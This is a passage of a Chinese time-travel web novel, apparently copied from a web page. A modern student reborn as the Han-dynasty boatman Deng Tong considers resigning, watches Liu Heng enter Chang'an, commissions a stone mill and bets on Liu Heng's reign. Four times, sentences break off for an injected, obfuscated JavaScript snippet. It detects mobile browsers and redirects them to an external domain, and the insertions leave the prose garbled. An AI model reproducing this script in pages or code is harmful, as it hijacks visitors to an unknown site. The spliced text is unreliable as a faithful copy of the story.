《邓通今天辞职了吗》 1. 邓通没有辞职的第一天 时近秋分,沧池中的荷叶仍然绿意盎然,但是清晨的沧池已经有了秋天的凉意。 黄头郎邓通划着一叶小舟,载着钩盾令派来的宫人余喜,熟练地在挨挨挤的荷叶中穿行。 宫中不日便要举行秋祭,沧池中的莲蓬已熟,藕节也正肥美,它们制成的吃食是往日秋祭礼上不可或缺的祭品。只是沧池风景优美,白日里总有贵人赏玩,只有清晨或是傍晚才好在沧池中采摘。 小舟轻盈,分开密密层层的碧叶,荡起细微涟漪。邓通手中长篙一点,舟便稳稳停在一株莲蓬旁。余喜伸手欲摘,邓通低声道:“且慢。” 他从舱中取出一柄竹钩,轻轻勾住莲茎,手腕微微一动,那莲蓬便应声落入舟中。 “这样采撷,不致伤了莲株,来年还能再生发。”邓通望着水面的荷叶,轻声细语道。 邓通又将小舟撑到藕田处,他俯身探手入水,摸索片刻,忽然抓住一段藕节。他并不急于拔出,而是顺着藕节走势轻轻扭动,最后才缓缓提出水面——一段白玉般肥嫩的藕便带着淤泥被请出,竟完好无损。 “取藕要顺其性情,若强拔硬拽,便要断在泥中了。”他边说边将藕在清水中涤净,那藕节果然莹白如玉,孔窍玲珑。 余喜见他动作娴熟,不禁赞道:“没想到你不仅船撑得稳当,对这些采摘事宜也这般擅长。” 邓通只是谦逊一笑,继续撑船深入荷丛。阳光透过荷叶缝隙,在他细瓷一样的脸上跳跃,与沧池的波光融为一色。 余喜一时间有些看呆了,觉得邓通在这美人众多的宫廷中,也称得上是好看了。 邓通每日在沧池中行船,哪里有好莲蓬,哪里有嫩藕已然是熟记于心,采来的莲蓬和莲藕很快装满了余喜带来的竹篮。 日头也渐渐升了起来,邓通这班是负责昨天傍晚和今早的行船,已经到了他下值的时间了。不过他没有急着去交班,而是撑着着小船,把余喜送到了沧池的西岸,从这里上岸去钩盾所要近不少。 钩盾所管理着皇家园林和苑囿,平日里会将园林里出产的蔬菜和食材送到少府,再由那里的庖厨制成吃食敬上。 “多谢你了,等我回去一定会向我们令丞进言,叫他们知道你的尽心。” 邓通笑着道谢,却没有放在心上。倒不是不相信余喜会为自己美言,而是他并不打算在黄头郎这个职位上长久做下去。 说起来来黄头郎这份工作还是挺不错的,虽然官职低微,但是在大汉朝能有一个有编制的工作已经强过普通人许多。而且这份工作大部分时候是朝九晚五,偶尔有早班晚班,工作时间也不会超过八小时。工作内容就是给宫里的贵人撑船,工作关系十分简单。每月有薪俸可以领,养活他自己绰绰有余。年节都有赏赐,偶尔遇到贵人,还会有不菲的外快。 如果他不是个穿越人士,如果他不叫邓通,他还是挺愿意长长久久做下去的。 大汉朝历史上有个挺有名的邓通,他很受汉文帝宠爱,不仅受赐高官厚禄,有个著名的相士说邓通以后会饿死,汉文帝就赐了邓通一座铜山,铜山是古代的钞票,让他一辈子有花不完的钱。 潘驴邓小闲,里面的邓就是邓通,这个名字在后世变成了一个形容词,就是形容一个人特别的有钱。只是后来汉文帝一死,邓通就被汉文帝的儿子汉景帝清算,最后更是下场凄惨,应了那个著名相士的话,被饿死了。 这个历史上的邓通的生平邓通也不大了解,所以也不排除是重名的情况。但是穿越这种小概率的事件都发生了,他就是历史上的邓通这事概率还真是不小。 邓通被饿死的时候好像也才五十多岁,一想到自己可能要在即将退休享受生活的年纪被饿死,邓通就觉得大富大贵不过是过眼云烟了。钱是到死也没花完的,还是长命百岁比较重要。 之前未央宫还是吕后做主,汉文帝刘恒还只是个小小的代王,而且早八百年就在封地就藩,离着长安十万八千里,邓通就想着先干一阵子,毕竟到处都是降本增效,工作也不好找。 结果最近这一年,未央宫里风云变化,先是吕后去世,诸吕被诛杀。大家把高祖的儿子孙子分析了个遍,赌坊里暗地里还开了盘口,但是最后赔率最低的赵王和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526480|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐王都没有当上皇帝,而远在山西默默无闻赔率最高的代王反而要被迎到长安城。 身在其中,邓通更感觉到了历史大势不可逆转。哪怕代王没有像其他的刘姓亲王一样在倒吕的事业中立下汗马功劳,母家和妻族也没什么强大的助力,就他自己,也没有什么雄才大略英武不凡的名声,唯一能拿出来说的恐怕只有他孝顺母亲这个点了。 然而只要是个正常人,他对自己的亲生母亲那都不可能太差。但是就是这样一个人,却力压一众实力强劲助力众多的亲王,即将成为未央宫下一任的主人,大汉的皇帝。不得不说,历史大势恐怖如斯。 所以保险起见,他还是离开皇宫比较好。只是做什么营生邓通却是没怎么想好。他穿越之前只是个平平无奇的大学生,高中文理分科以后就没学过历史课,对汉朝的认识就是汉文帝下一任是汉景帝,汉景帝叫啥他都忘了,汉文帝的名字他之所以能记住还是因为他原本叫邓通,当时老被同学调侃。所以不管是当神棍还是当龙傲天都不够格。 搞发明创造吧,他已经大学毕业了,知识水平不说人生最低,那比起高中肯定也是每况愈下了。玻璃肥皂水泥的配方他都有点印象,但是具体什么配比他是想不起来了。火药他倒是记得一硝二磺三木炭,但是搞这个风险太大,倒不是怕炸到自己,而是这种远超时代水平的配方国家机构肯定会严格保密。他要么会被限制人生自由,要么会被灭口,还是不要搞了。搞吃食呢,他以前的厨艺就是煮方便面加个蛋的水平。 他算学可能也算不错,但是谁家做生意的账房都是找自家信得过的人,不会叫个来历不明的外人帮他们记账。而且邓通还有点慢热社恐,当伙计人家估计也会嫌他不够热络。邓通自己也会觉得难受。 所以这大学生就业到了古代照样艰难,要不说这撑船适合他呢,只要动动手就行了。面对贵人也只要行礼以后装哑巴就行了,贵人基本很少跟他讲话。即便要讲,这个时候也不讲究抬头挺胸看人眼睛,低着头对着地讲贵人还会觉得你有礼貌。 唉,真是神仙工作,邓通真的不想离职呀! 2. 邓通没有辞职的第二天 邓通下值以后回到了上林苑的居处。他们这些负责驾驶皇家船只的黄头郎虽然做的是类似于皇家水上仪仗队的工作,但是并不属于宫人的范畴,而是皇家水军的一部分。虽然都是归少府管,但是平时并不住在宫里,而是在上林苑起居。 作为基层公务员,黄头郎在上林苑是没有自己单独的院子的。一班十个人住一个院子,每个人会有自己单独的一间房,大概二十平左右。这里的院子都是前代又或者当代的建筑大师精心选址然后用心设计修建的(要是用脚设计修建会死),房间的通风采光只有良好和优秀的区别,周边的绿化也做得很好,务必让贵人们看到要赏心悦目。 穿越之前刚步入职场,已经领略过各种奇葩出租屋的大学生对于在首都还能有这么一个栖身之所真的非常满意了。关键是这样的住所,它是免费的。和所有首都一样,长安居也是大不易,若是离职以后,再想要找到这样上班便利、环境安全、居住舒适、邻居省心的住所恐怕就得花大价钱了。 黄头郎吃饭则主要是在上林苑他们所隶属的辑濯所的食堂解决,这里只吃早晚两顿饭,通常是上班前一顿,下班后一顿,要是轮到早晚班这种没赶不上饭点的班次,提前打个招呼还会有专门的人送饭。就还挺有人文关怀。 食堂里吃的比较多的主食是栗米饭,也就是小米饭,邓通他以前只吃过小米粥,不过小米饭的味道他感觉也不赖,气味清香,口感微微弹牙。其次是麦饭,就是麦子蒸出来的饭,这个邓通就有点接受不能了。麦饭口感很硬,即便在嘴里嚼很久咽下去依然有点喇嗓子。 他刚来还以为宫里不流行把麦子磨成面粉以后做面食的吃法,还好奇地提过一次,结果当时跟他一起在食堂吃饭的同僚们都被他说笑了。 并非他们不知道面食好吃,而是这个时候还没有旋转石磨,麦子要脱粒磨粉主要是靠人工,就是把麦子放在一个石臼里,用木杵或者石杵反复舂捣,然后得到粗糙的带有大量麸皮以及碎麦粒的粗粉。粗粉再用绢罗或马尾筛进行筛滤,将面粉和麸皮分离开,才能得到邓通从前习以为常的能做包子馒头还有面条精细的面粉。 这是一个很累的活,以至于它变成了一个惩罚有罪之人的刑罚,叫做舂刑。刘邦的小老婆戚夫人就被吕后施加过这个舂刑。戚夫人养尊处优显然没有见识过这种民间疾苦,于是就在舂米以后唱歌表示一天到晚舂米实在太累了,简直都要死了,希望有个人能把这个消息告诉她远在封地当大王的儿子(好叫他来解救她)。 吕后听到了很生气,觉得戚夫人不老实,新仇旧恨一上来就把戚夫人做成人彘了。可见这个舂米麦的工作确实是很累的。 磨粉的效率低下,又非常耗费人工,所以除了那种能单独为舂麦就雇佣或者购买一个仆人的贵人们能吃上麦粉做的面点,一般人都还是以食用简单好做的麦饭和麦粥为主。 蔬菜种类目前也不算丰富,主要是葵菜,韭菜和霍叶,以及它们做成的腌菜,然后就是各种时令的野菜,水煮为主。莲藕莲子这种时令的生鲜他们日常是没资格吃的(不过邓通划船的时候会偷偷自己摘来吃),都要供给贵人们。然后会有豆子煮成的粥或者羹,口味怎么说呢,很健康。 肉类因为他们是辑濯所,鱼类会比较多一点,节庆时会有羊肉牛肉赐下来,虽然不多,但是尝尝肉味还是够了。有贵人在苑中打猎的时候,还会有各种各样的野味赐下来(现在不可以吃野生动物)。烤制为主,就还挺好吃的,就是吃肉的时候不会很多。 以上这些吃食都是工作单位免费提供的,每天吃完也不需要洗碗,想想就还挺香的。 邓通今天轮了早班,白天便不用当值了,加上第二天又轮到他休沐,一共就有两天假期,他决定去找辑濯令讨一张出关的文书,去长安城里转一转,看看能不能找到合适的工作。 上林苑听名字就像是一座园林,但是这里其实有矿山,农田,林地,还有皇帝的动物园(养的都是珍奇异兽)和试验田(种的都是奇花异草),以及皇帝的别宫群和若干军事训练基地,和一座城池也没什么区别。出入都是需要证明文书的,没有文书出苑就违法了,轻则坐牢,重则处死。 每个月每个单位能出去的人都有定数,好在这个出关文书倒也不是很难讨,倒不是邓通和辑濯令关系有多好,而是他来了以后,因为觉得放假以后还要出远门很累,基本就没有出过上林苑。所以以往轮到他外出的时候,他都会默默地把机会让给其他想要出苑的人。现在他想出门,同僚们自然也愿意投桃报李来迁就他。 讨到了出关文书,邓通就坐着辑濯所的牛车出发了。马车是没得坐的,这个时候马匹还不是很多,养马又要地方又要准备很多饲料,还要专门养马的人,宫里只有贵人出行才会坐。牛车出行的速度和舒适度都一般,摇摇晃晃的很容易晕车,这也是邓通非必要不出门的原因之一。 牛车行了一个多时辰,终于到了长安城的东郊。按照以往的惯例,他们会循着灞水,穿过沿途绿柳投下的浓荫,经过灞桥,再由东门进入长安城,只是今天这路却是不通的。 灞桥之上,旌旗招展,甲胄森然。一队精锐的北军甲士,手持长戟,肃立于道路两侧,如同冰冷的陶俑,无声地划开了一片森严的领域。在队伍的最前方,一位身形魁伟、须发微苍的老将按剑而立。他未着朝服,只一身玄色常甲,但那股久经沙场、位极人臣的威严气势,却让周围的空气都为之凝固。 邓通认得他,这是太尉周勃。如今宫里的人可能未必认识少帝,但是太尉周勃和丞相陈平,他们却是无人不识的。 而让当朝太尉如此郑重等候的,仅是一支看起来风尘仆仆、毫不张扬的车队。车队前方,一辆普通的安车停下,帘幕掀开,一位身着素色王服、面容清癯沉静的年轻人缓缓下车。 那应该就是代王刘恒了吧? 邓通屏住了呼吸。朝中巨变,吕氏已倾,大臣们议立新君,而远在代地的这位王爷,正是人选之一。但万万没想到,决定帝国命运的时刻,竟会在这冷清的灞上,在自己眼前无声上演。 只见周勃大步上前,对着代王刘恒躬身长揖,姿态恭谨,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526481|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那如山岳般的身形和身后凛凛的甲士,却分明诉说着不容置疑的武力与权威。 “臣,周勃,”他的声音洪亮,打破了午后灞水的平静,“奉百官之命,恭迎大王入京,继承宗庙社稷!” 刘恒立于车前,脸上并无狂喜,只有一种超越年龄的沉静与审慎。他微微侧身,并未全然接受周勃的大礼,双手虚扶,温和而坚定地回道:“寡人德薄,不敢当社稷之重。奉祀高庙,乃孤之责,入京之后,当与宗室、大臣从长计议。” 言辞谦逊,却滴水不漏。 周勃心中满意,走上前,拉住刘恒的手,悄悄说道:“大王,借一步说话。” 不料,刘恒身边一位谋士打扮的中年人突然上前一步,挡在刘恒前面,对周勃道:“大人,如果您要说的是公事,请您在此当着大家的面说,如果您要说的是私事,那么您应当知道王者不受私情!” 这是哪里来的愣头青。周勃看向刘恒,发现代王并没有阻止自己的谋士,便知道这个宋昌行事并非自作主张,心中有些不悦。若非自己支持,代王寸功未立,平日里又一文不名,怎么会有机会登上王位。 只是人已经迎来了长安,当着众人的面,周勃也不好落下不敬大王的把柄,他当即跪下奉上天子大印。 代王身后的随从神色振动,目露喜色,刘恒却摇摇头,拒绝道:“太尉,还有各位大人,这里不是说话的地方,我们回代王府再说吧。” 饶是刚刚被刘恒给了一个不大不小的下马威,周勃仍然忍不住在心中赞了一声好定力。刘恒八岁就藩代地,如今也不过是个二十三岁的年轻人而已,天子之位就在眼前,还能如此从容不迫,恐怕他们都被刘泽这个老家伙骗了。 再回想之前刘恒接到使者送去的众人推举他为天子的消息,也没有欣喜若狂立刻出发赶来长安,而是按兵不动,先派他舅舅薄昭过来长安找他确认消息。当时代地消息不通,吕氏余威犹在,刘泽说他是胆小慎微,如今看来,这分明是老谋深算。 高祖八个儿子,除了吕氏的亲儿子惠帝刘盈,和从小由吕氏抚养长大的淮南王刘长,其他几个庶子都被吕后诛杀,代王刘恒身为庶子,能一直活在现在,恐怕也不是一句幸运可以解释的。 周勃对于这个他们精挑细选出来的皇帝的人选,突然产生了一些疑虑,代王真的会是一个易于掌控的皇帝吗? 只是此时的形势已经容不得他多言,周勃侧身让出道路,做出一个“请”的手势。甲士们齐刷刷地转身,护卫着代王那简陋的车驾,缓缓越过了灞桥,向着洞开的长安城门行去。 邓通隐在道旁的树影里,一动不动。他看着车队融入城门深邃的阴影,看着周勃翻身上马,紧随其后。直到最后一名甲士的背影消失,城门口恢复空荡,他才仿佛松了一口气,感觉到紧握的手心已全是冷汗。 可能是因为刘恒看上去年纪和他一般大,和历史书上戴着皇帝冠冕留着三撇胡子的中年人判若两人,邓通明知道他以后会是历史留名的汉文帝,依然对刘恒刚刚所经历的一切有种感同身受的紧张。 3. 邓通没有辞职的第三天(重写) 两人进了城,赶车的韩大因为还要负责辑濯所的采买事宜,就先去了西市。邓通原本是打算来看看有什么工作机会的,决定先在城里到处转一转。两人在夕阴街分开,约定日暮时分在城南的平安客舍汇合。 邓通没有坐车,便就近去了东市。长安城的大街都是夯实的黄土路,路面宽阔平整,两边还有绿化树。只是大路中间是皇帝专用的驰道,两边留出来的道路才是专供其他人行走。 街道两旁,店肆作坊鳞次栉比,幌子在秋风中猎猎作响。空气中没有现代工业城市的汽车尾气,只有城市原本的味道。 有叮当锤响和炭火气的是铁匠铺。有生漆与桐油混合气味传出来的是漆器店。有腥膻和苦涩味道传出来的则是鞣皮坊。 走过了匠作坊聚集的街市,气味就好闻了许多。 米粮店里全是谷物自然成熟干燥以后的清香味,叫人一嗅闻仿佛就看见了金色阳光下的层层麦浪。 不远处有卖“糗”的小贩默默守着的陶罐,里面炒熟的米麦正散发着粮食的焦香。 “河东之枣,甘如饴兮——” 有粗壮的汉子正推着小山一般的麻袋在街边叫卖,拿起那在阳光下泛着深红油亮光泽的枣子咬开一个,就是满口甜脆的香气和汁水。 “炙彘肩!新炙的彘肩!” 街边还有坦露半边肩膀的屠户,正将一大块肥瘦相间的猪肩肉架在炭火上烤得滋滋作响,油脂滴落,爆起阵阵青烟和诱人的焦香。食客们围在摊前,咽着口水,等着切一块解馋。 人群摩肩接踵。有身着粗麻、脚踩草履的农夫,小心翼翼地数着手中的五铢钱,在街边的布店里想为家人扯几尺素娟。头戴巾帼、身着精织绢袍的商人,步履从容,正与来自南方的贾客低声交谈着胡椒犀角的价钱。偶尔有高车驷马驶过,车帷低垂,也不知是哪位显贵家眷。 空气中弥漫着一种蓬勃的、略显混乱的活力。 邓通逛着逛着就有点陷进去了,原本只是打算看看的人,手上不知不觉就多了许多包裹。等回过神,发现时间已经不早了,长安城是有宵禁的,邓通怕耽误了时间,决定雇辆车回去。 邓通记得之前逛街时好像在街尾看到过车肆,便循着记忆找了过去。结果发现这家车肆旁边竟然还有间小小的石器店。因为门脸太小,之前被挡在密密麻麻的车马后面,邓通当时都没发现。 这间石器店是卖石臼的,不过吸引邓通过来的并不是石臼,而是摆在店门口的一个石磑(wei)。这个石磑有点像后世的石碾,底下是一个大的石盘,上面有个横放的石柱,这个横放的石柱上面套了木制的连杆,可以转动。 邓通还没在汉朝见过这样的已经有点石磨样子的装置,心头一动,当即走进了店里,向店家询问情况。 店家说这是一个客人订做用来脱粒的,就是把谷物外面那层麸皮去掉。但是这个石磑很大,需要牲畜才能拉动,因为做得小了,不够沉重,面积不够大,脱粒的效率就会差很多。如果不是有人订做,他们也是不会制作。 邓通听了顿时眼前一亮,他忘记这还是手工的时代,很多东西都可以订做。邓通从前旅游的时候是见过那种老式石磨的,构造其实并不复杂。 一个石磨其实就分上下两扇,下扇中心有一个短的立轴,用于固定上扇,让它能围绕轴心旋转,同时又不会脱离。 上扇中心则有一个对应的轴孔,也就是磨眼,套在下扇的立轴上。上扇的侧面通常会凿有一个或两个插磨棍的方孔,用以推动磨盘旋转。 唯一有些复杂,也是石磨最核心的科技其实是磨盘上磨齿。为了能把粮食磨成粉,两个磨扇接触的表面会刻上规律且复杂的磨齿,一般呈放射线形或菱块形,这些凹槽可以将粮食从中心向外缘推送,并在过程中反复进行剪切、碾磨。 这种石磨小的女人和小孩就可以推动,大的也可以用毛驴或者骡子来拉,但是效率也更高。 邓通想订做一个石磨,以后去磨豆浆卖。至于为什么不是卖石磨,一是因为石磨构造并不复杂,有经验的匠人看一看恐怕就会做了,保密不了多久。二是他也希望石磨能早点推广开,这样多少能减轻一点百姓的劳作(不至于想吃点好吃的都得跟上刑似的),这样也会有更多丰富好吃的吃食了。 邓通觉得他卖豆浆就挺好的,容易上手,很适合他这个厨房苦手,而且豆浆卖不完他还可以做成豆腐。这个中学化学知识点邓通还记得挺牢的,他知道豆浆放入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526482|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石膏也就是硫酸钙就会变成嫩豆腐,放入盐卤也就是氯化镁会变成老豆腐。 这个做豆腐的方子一时半会儿应该也不会被人破解,他就可以趁机占领豆腐市场。以后即便大家发现做豆腐的秘密了,因为招牌打得早,他在豆腐界也还是能有一席之地。没想到这转一转的还真把辞职以后的工作问题解决。不得不说,他可真是一个平平无奇的小天才啊。 邓通十分高兴,当即和店家说自己想定一个石磨,又把想要的样子和店家详细描述了一下,怕店家不明白,他还随手搬来两块店里的磨盘和匠人详细比划起来。 作为一个身高体弱的大学生,邓通跟人讲话一向是很有礼貌的。而且他很尊重技术人员,并不和时下的人一样认为匠人身份低微。 结果他讲完以后问店家这磨盘订做要多少钱。店家没有说,只让他等一等,然后就去店铺后院请出了一个头发花白的老师傅。店家把石磨的情况跟这个老师傅耳语了几句。 老师傅打量了邓通一眼道:“你这个磨盘做出来若是能把米麦磨成粉,老汉不仅不收你的钱,以后卖石磨赚的钱还分你三成如何。” 邓通看着一把年纪身上还都是石粉的老师傅,连忙摆手道:“不用不用,您按正常价格收就行了,我这个磨盘也不是自己想出来的,您要是做出来想卖给其他人都随您自己。不过要是您愿意,能给百姓卖便宜点让大家都能用上就更好了。” “那定金二百钱,七日后来取。”老汉道。 邓通高高兴兴拿出二百钱付了账,领了取货的凭证就急急忙忙出门赶车去了。 “师父,您——”他们家用的都是好石料,这二百钱收得并不高,不过店家还以为他师父不会收这个小郎君的钱。 这个老汉并不是普通的匠人,而是墨家的弟子,姓徐,他学成以后觉得把技艺用在攻城掠地打打杀杀上于百姓无益,就在长安街开了这间石器铺子,因为物美价廉在这条街上很有些口碑。 “这个小郎君自己穿着简朴,却心系百姓,有我墨家之风。在钱财上拉扯倒是看轻了他,以后做出来的石磨就按石料的价格卖给百姓便是。” “是,师父!”店家也赞同师父的做法,也高兴起来。 4. 邓通没有辞职的第四天 邓通乘坐雇来的牛车,赶在日暮时分到达了南平里。才进坊门没多久,提示宵禁的鼓点便响了起来。 邓通小小庆幸了一下,跟身边看上去像是南平里住户的路人打听平安客舍的所在。原身也是个宅男,来长安的次数屈指可数,对这个坐落在城南的闾里并不熟悉。 邓通一路走一路打听,顺利到达了平安客舍。韩大已经等在了客舍门口,看邓通拿着大包小包,忙揽了大半过去,又催促着邓通赶紧放行李。 “你可是来了,房舍我已经定好了,你先安置,我去后院一趟。”韩大把人送到客舍门口,半是交代半是解释道,“这里的庄家又开了新的盘口,这押得越早,赔率就越高。” 进城的路上,韩大已经向邓通解释过没有就近住宿,而是宿在平安客舍的原因——平安客舍不仅做着客舍的生意,还是一个兼职的赌场。因着信誉良好,是长安城不少赌徒玩博戏的首选之地。 当然汉朝也是有明文禁赌的。只是就像后世的麻将扑克,法令再如何禁止,民间依旧十分流行。毕竟每天除了种田上班以外,人总要干点什么。 汉朝的娱乐活动又不像后世那么丰富多彩,博戏这种门槛低参与度高还特别容易让人肾上腺飙升的活动不说人人参与,那也基本跟后世的麻将扑克一样普及。高祖刘邦没有打天下的时候也经常带着一群老兄弟们聚众赌|博。 只要不是闹得十分过分,官方对此基本上是睁一只眼闭一只眼。当然最重要的一点,平安客舍是高祖的堂兄弟,也就是现如今的营陵侯刘泽开的。他的大哥是皇帝,大嫂和皇帝差不多,自己也朝中老臣关系也很好,所以一般没谁会想不开来平安客舍找晦气。 韩大是个国有单位的司机,每月薪资可观,单身无孩,公司又包吃包住,日常基本没什么花销。关系近一点的长辈们在反秦或者楚汉相争的事业中基本没了,也没什么催婚的压力,所以业余的时间和金钱基本都花在了博戏上。 不过他对扔骰子比大小这种技巧型的博戏没什么兴趣,他喜欢玩八卦分析型的博戏。比如周勃平定燕王卢绾叛乱会不会超过一年(没有,只有八个多月),梁王刘恢和吕家的女儿某年会不会分府别居(分了,以刘恢自尽结束……),以上都是韩大在进城的路上向邓通宣讲的得意范例。 而之前长安城里最热议的八卦自然是谁来当这大汉朝下一任的皇帝。韩大自然也不会错过这个议题,他押的是齐王刘襄。 齐王刘襄是刘肥的长子,刘邦的长孙,也是吕后去世以后打响反吕第一枪的人。他整合了周边的势力,西进长安,牵制了吕氏集团的主要兵力,为长安周勃和陈平发动政变诛杀诸吕提供了决定性的条件。 这样一个人,按理说政变成功以后确实是很有机会成为大汉朝下一任皇帝。只是刘襄起兵反吕的时候,担心自己实力不够,也担心自家堂叔祖琅琊王刘泽的立场——刘泽在青州的封地就在齐国的旁边,兵力也很强,刘泽本人和吕氏关系不错,琅琊王也是吕氏封的。 于是就派人给刘泽送信,说自己年轻缺乏经验,希望请这位德高望重的长辈来齐国商议大事,共举义兵。刘襄话里话外表示起兵成功以后要拥立刘泽来当皇帝,刘泽信以为真,来到齐国国都临淄,结果立即就被刘襄软禁。刘襄还趁机派兵接管、兼并了刘泽的琅琊国兵马,大大增强了自己的军力。 刘泽呢,也是个人物,上当以后也没有跟侄孙翻脸,而是也将计就计,表示自己年纪大了,而且只是高祖的堂兄弟,并没有做皇帝的野心。倒是刘襄这个高祖长孙,做皇帝那是名正言顺,他在朝中还是有些人脉,所以他愿意帮刘襄去朝中游说重臣,说服他们支持刘襄当皇帝。 刘襄一想,这刘泽兵权和封地都没了,自己现在又势大,识时务的确实应该这个时候争取一个从龙之功。而且刘泽确实人缘不错,刘襄虽是长孙,但是他爹刘肥只是庶出,还需要朝中的老臣背书,于是就放刘泽去了长安。 当时,长安的周勃、陈平等开国功臣刚刚诛灭诸吕,正在商议立谁为新皇帝。他们最初确实考虑过作为长孙且首倡义兵的刘襄。 刘泽作为刘氏宗亲,辈分高,和老臣们关系又好,于是也被叫去参与商议。但是刘泽并没有帮刘襄游说大家,反而趁机倒油,对周勃、陈平等功臣说齐王的母家(驷钧家族)非常强悍霸道,如同戴着帽子的恶虎。如果立了齐王,恐怕又会重蹈‘吕氏之乱’的覆辙。他们刚刚除掉吕氏,可不能再迎来一个强势的外戚家族。 这个理由深深打动了老臣子们的心,他们最担心的就是再来一个吕家这种难以控制的强势外戚。相比之下,代王刘恒的母亲薄氏家族实力低微,是更好的人选。于是在刘泽的力荐和功臣集团的共识下,大家决定迎立代王刘恒为帝。 这也就有了他们在城门口看到的那一幕。谁会是下一任皇帝显然已经尘埃落定,韩大于是痛失一年基本工资一金,也就是一万钱。 众所周知,抚平一次赌输伤痛的最好办法,就是再赌一次。知道平安客舍又开了新的盘口,韩大自然是按捺不住。 “这次要赌什么?”邓通有些好奇地问道。 韩大左右观察了一下,确定周围没人,小声对邓通道:“这次是赌代王能当多久的皇帝。” “这也是能赌的吗?” 韩大嘿嘿一笑,一切尽在不言中。这个时候儒家学说还不是统治地位,大家还没有生出多少对天子的尊崇,毕竟有皇帝的概念还在秦朝,而它们也不过二世就亡了。大家更多的还是看到秦始皇的车架就说出“彼可取而代之”“大丈夫当如是”这种大逆不道的话,又或者种着地就说出“王侯将相宁有种乎”这种精神状态。 私下里赌一赌一个藩王能做多久的皇帝,不过是基操而已。 邓通觉得很有趣,把包裹直接扔进房间,也不收拾了,对韩大道:“韩大哥,我也想去试试。” 韩大哈哈大笑起来,拉着邓通一道去了后院。 后院的大堂中灯火通明,挤满了闻风而动的赌徒们。押注台后的墙上用丝帛写了今日开设的盘口和不同的票目,以及不同票目对应的赔率。 韩大一进来,留下一句我先去打探打探消息的话语就泥鳅一样钻进了人群当中。 丝帛上设置了一个月到十二个月,以及一年以上十三个选项。一月到三月赔率都很高,大致在一比二十左右,显然店家认为代王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526483|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会做这么短时间的皇帝就下台。 然而从四月到九月,赔率逐渐降低,到十月,十一月,十二月赔率已经只有一比三左右了,店家看来并不看好代王这个皇帝能做过一年。一年以上这个选项的赔率高达一比二十也印证了这一点。 邓通回忆着从前历史课本上背诵过的内容,汉文帝到底做了多久的皇帝,有些遗憾,他已经记不清了,但是很显然,创下文景之治汉文帝刘恒不可能只做了一年皇帝。 邓通于是拿出这次出门额外带的钱,一个五金的小小金饼——来自贵人的赏赐,大概是后世的1.25kg,在这个时候可以兑换五万枚五铢钱,all in了一年以上这个选项。 邓通在伙计人傻钱多的眼神中干脆利落地押注完,收好凭证,又等了好一会儿,韩大才一脸兴奋地跑回来,兴致勃勃地和邓通分析起这次博戏的议题来。 韩大经常赶车在上林苑和长安城往来,消息来源和见识要比普通人多上许多。他觉得太尉周勃强势,丞相陈平精明,但是看今天代王在城门口的表现,也不像是一个愿意任人摆布的人。 而周勃和陈平那都是高祖时便崭露头角的大人物,过往战绩可查。但是这位代王却是声名不显,前段时间刘氏宗亲们轰轰烈烈的倒吕大业也没参加,战绩目前是零。 韩大觉得代王要么就是人缘一般刘氏宗亲们不和他玩,要么就是实力不在一个档次人家不带他一起玩。无论是哪种,都说明代王自身实力不太行。 不过汉朝大家重姻亲,自身实力不够,还可以亲戚来凑。 只是代王的正妻出身吕氏,而吕氏的势力现在众所周知已经被一网打尽了。而代王的母亲薄氏,出身很卑微,原本只是西魏王魏豹的一个妾氏。后来被当做俘虏纳入刘邦后宫以后也完全不受宠,基本没什么家族势力可言。 这代王如果不服顺,两相争斗起来,鹿死谁手那简直就是秃子头上的虱子,明摆着。所以韩大准备再拿出一金,赌代王这皇帝做不了一年。 韩大分析完,正等待邓通崇拜加附和的声音,发现邓通并没有作声。 “阿通贤弟可是有什么不同的看法?”韩大并没有觉得气恼,而是转头问起了邓通的意见。 邓通觉得韩大这个人虽然好赌,但是为人热情仗义,他也不想韩大又损失一万钱,于是小声道: “韩大哥,我曾经听宫里的老人说,代王的母亲薄氏被高祖临幸的时候,曾梦见一只苍龙盘踞在她的腹部,她在那次以后就生了代王。” 